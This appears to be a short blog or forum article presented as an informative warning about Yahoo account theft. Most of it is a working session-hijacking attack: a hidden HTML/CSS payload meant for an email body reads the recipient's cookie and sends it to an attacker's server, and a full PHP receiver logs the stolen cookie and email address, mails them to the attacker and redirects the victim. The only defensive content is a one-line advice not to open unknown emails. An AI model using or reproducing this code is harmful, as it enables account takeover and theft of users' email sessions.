How hackers steal yahoo passwords

This article is ment to provide more info on how to protect your yahoo account and every account in general and should not be used for stealing someone's info, password etc. It's purely informative. My yahoo Id was recently accessed by an unknown person which used it to send promotional emails to my list of friends who, of course, accessed them leaving the hacker another open door, and another and so on, the chain never ends. Hopefully yahoo wakes up. I did a search on this new thing that they use, it had to be something on the "client side", a bug that could be sent inside an email, a new thing, undetected by yahoo, yet - it's easyer to attack than to deffend they say. It didn't take me too much to find this code which writes the recipient's cookie (stored in C:/ under the Cookies folder) inside a .log file that is copy-pasted by the hacker overwriting his own cookie that yahoo stored inside his computer and than easilly accessing the victim's yahoo email. The bug:

<DIV id=b style="VISIBILITY: hidden">
<STYLE onload="window.status=''; 
var x = escape(document.cookie).substr(0,1900); 
b.innerHTML='<iframe src=http://your-site-here.com/script.php?
id='+document.title.substring
(document.title.indexOf('-')+2)+'&amp;cookie=\''+x+'\' 
frameborder=0 width=10 height=10></iframe>';" type=text/css>
</STYLE>
</DIV>

...which calls this php script:

$file="cookie.log";
if (isset($_REQUEST["id"]) && isset($_REQUEST["cookie"])){
$logcookie = $_REQUEST["cookie"];
$logcookie = rawurldecode($logcookie);
$logemail = $_REQUEST["id"];
$logemail = rawurldecode($logemail);
if (file_exists($file)) {
$handle=fopen($file, "r+");
$filecontence=fread($handle,filesize("$file"));
fclose($handle);
}
$handle=fopen($file, "w");
fwrite($handle, "$logemail - $logcookie\n$filecontence\n ");
//Writing email address and cookie then the rest of the log
fclose($handle);
mail("email", "$logemail", "$logemail\n$logcookie\n$filecontence\n");
}
header("Location: http://mail.yahoo.com");

...which writes the cookie to the hackers .log file that resides on his server. A very simple example but so deadly. NOTE: The code is a little changed to make it hard to use without PHP knowledge. How to protect yourself? My advice: DON'T EVER OPEN EMAILS FROM AN UNKNOWN SENDER.

For coding help and further support please use the forum.